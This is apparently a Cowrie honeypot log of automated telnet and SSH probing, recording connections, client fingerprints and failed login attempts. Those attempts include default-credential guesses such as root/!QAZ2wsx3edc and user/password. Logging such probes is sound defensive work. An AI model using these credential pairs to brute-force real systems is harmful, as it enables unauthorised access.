{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":35638,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a8b910abb8","protocol":"telnet","message":"New connection: 35.205.108.138:35638 (10.17.0.5:23) [session: 46a8b910abb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:10.835806Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:10.935206Z","src_ip":"45.156.87.147","session":"723c3474a121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":3660,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e72e3ab20b","protocol":"telnet","message":"New connection: 35.205.108.138:3660 (10.17.0.5:23) [session: 87e72e3ab20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:10.999722Z"}
{"eventid":"cowrie.session.closed","duration":0.004945278167724609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:11.004571Z","src_ip":"35.205.108.138","session":"87e72e3ab20b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":3664,"dst_ip":"10.17.0.5","dst_port":23,"session":"3354288e1d7d","protocol":"telnet","message":"New connection: 35.205.108.138:3664 (10.17.0.5:23) [session: 3354288e1d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:11.161646Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52506,"dst_ip":"10.17.0.5","dst_port":22,"session":"d877626ac818","protocol":"ssh","message":"New connection: 91.92.42.227:52506 (10.17.0.5:22) [session: d877626ac818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:11.220457Z"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:11.261594Z","src_ip":"91.92.42.227","session":"bdc89da2756b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:12.022444Z","src_ip":"91.92.42.227","session":"d877626ac818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:12.025429Z","src_ip":"91.92.42.227","session":"d877626ac818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33918,"dst_ip":"10.17.0.5","dst_port":22,"session":"550b4c2cd193","protocol":"ssh","message":"New connection: 45.156.87.147:33918 (10.17.0.5:22) [session: 550b4c2cd193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:15.177387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:15.181234Z","src_ip":"45.156.87.147","session":"550b4c2cd193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:15.262777Z","src_ip":"45.156.87.147","session":"550b4c2cd193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.648855447769165,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:15.484541Z","src_ip":"35.205.108.138","session":"46a8b910abb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:15.510479Z","src_ip":"45.156.87.147","session":"550b4c2cd193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:16.598510Z","src_ip":"45.156.87.147","session":"550b4c2cd193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:16.758072Z","src_ip":"91.92.42.227","session":"d877626ac818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50502,"dst_ip":"10.17.0.5","dst_port":22,"session":"32d9be2fb0c2","protocol":"ssh","message":"New connection: 91.92.42.227:50502 (10.17.0.5:22) [session: 32d9be2fb0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:18.103500Z"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:18.775422Z","src_ip":"91.92.42.227","session":"d877626ac818","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:19.039749Z","src_ip":"91.92.42.227","session":"32d9be2fb0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:19.042663Z","src_ip":"91.92.42.227","session":"32d9be2fb0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60430,"dst_ip":"10.17.0.5","dst_port":22,"session":"d98825d644c7","protocol":"ssh","message":"New connection: 45.156.87.147:60430 (10.17.0.5:22) [session: d98825d644c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:20.699709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:20.703669Z","src_ip":"45.156.87.147","session":"d98825d644c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:20.787477Z","src_ip":"45.156.87.147","session":"d98825d644c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:21.034629Z","src_ip":"45.156.87.147","session":"d98825d644c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:22.152834Z","src_ip":"45.156.87.147","session":"d98825d644c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:24.304013Z","src_ip":"91.92.42.227","session":"32d9be2fb0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46824,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0199e1cf340","protocol":"ssh","message":"New connection: 91.92.42.227:46824 (10.17.0.5:22) [session: f0199e1cf340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:24.867757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:25.995413Z","src_ip":"91.92.42.227","session":"f0199e1cf340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:25.998513Z","src_ip":"91.92.42.227","session":"f0199e1cf340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60436,"dst_ip":"10.17.0.5","dst_port":22,"session":"100bff19cdcc","protocol":"ssh","message":"New connection: 45.156.87.147:60436 (10.17.0.5:22) [session: 100bff19cdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:26.451961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:26.454823Z","src_ip":"45.156.87.147","session":"100bff19cdcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:26.503891Z","src_ip":"91.92.42.227","session":"32d9be2fb0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:26.536741Z","src_ip":"45.156.87.147","session":"100bff19cdcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:26.840316Z","src_ip":"45.156.87.147","session":"100bff19cdcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.47.44","src_port":55484,"dst_ip":"159.203.135.109","dst_port":23,"session":"36f1cf9e45e0","protocol":"telnet","message":"New connection: 129.146.47.44:55484 (159.203.135.109:23) [session: 36f1cf9e45e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:27.247375Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:27.925527Z","src_ip":"45.156.87.147","session":"100bff19cdcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac2acb661057","protocol":"telnet","message":"New connection: 35.205.108.138:47250 (10.17.0.5:23) [session: ac2acb661057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.324876Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.328616Z","src_ip":"35.205.108.138","session":"ac2acb661057","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.331761Z","src_ip":"35.205.108.138","session":"ac2acb661057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09107518196105957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.415859Z","src_ip":"35.205.108.138","session":"ac2acb661057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":47264,"dst_ip":"10.17.0.5","dst_port":23,"session":"e22c26f44490","protocol":"telnet","message":"New connection: 35.205.108.138:47264 (10.17.0.5:23) [session: e22c26f44490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.493904Z"}
{"eventid":"cowrie.session.closed","duration":0.004256725311279297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.498029Z","src_ip":"35.205.108.138","session":"e22c26f44490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":47274,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95642332383","protocol":"telnet","message":"New connection: 35.205.108.138:47274 (10.17.0.5:23) [session: c95642332383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.655355Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":47288,"dst_ip":"10.17.0.5","dst_port":23,"session":"b378c1d87394","protocol":"telnet","message":"New connection: 35.205.108.138:47288 (10.17.0.5:23) [session: b378c1d87394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.815102Z"}
{"eventid":"cowrie.session.closed","duration":0.16850543022155762,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.823732Z","src_ip":"35.205.108.138","session":"c95642332383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.69578456878662,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.857327Z","src_ip":"35.205.108.138","session":"3354288e1d7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63490,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8d0a59fd61b","protocol":"telnet","message":"New connection: 35.205.108.138:63490 (10.17.0.5:23) [session: d8d0a59fd61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:30.976315Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63496,"dst_ip":"10.17.0.5","dst_port":23,"session":"764250b3ec54","protocol":"telnet","message":"New connection: 35.205.108.138:63496 (10.17.0.5:23) [session: 764250b3ec54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:31.138296Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63508,"dst_ip":"10.17.0.5","dst_port":23,"session":"45387baeeedc","protocol":"telnet","message":"New connection: 35.205.108.138:63508 (10.17.0.5:23) [session: 45387baeeedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:31.299429Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63510,"dst_ip":"10.17.0.5","dst_port":23,"session":"d85a7178d7ad","protocol":"telnet","message":"New connection: 35.205.108.138:63510 (10.17.0.5:23) [session: d85a7178d7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:31.460082Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46940,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d7f43d7caa5","protocol":"ssh","message":"New connection: 91.92.42.227:46940 (10.17.0.5:22) [session: 4d7f43d7caa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:31.500927Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63520,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab46ec848677","protocol":"telnet","message":"New connection: 35.205.108.138:63520 (10.17.0.5:23) [session: ab46ec848677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:31.621326Z"}
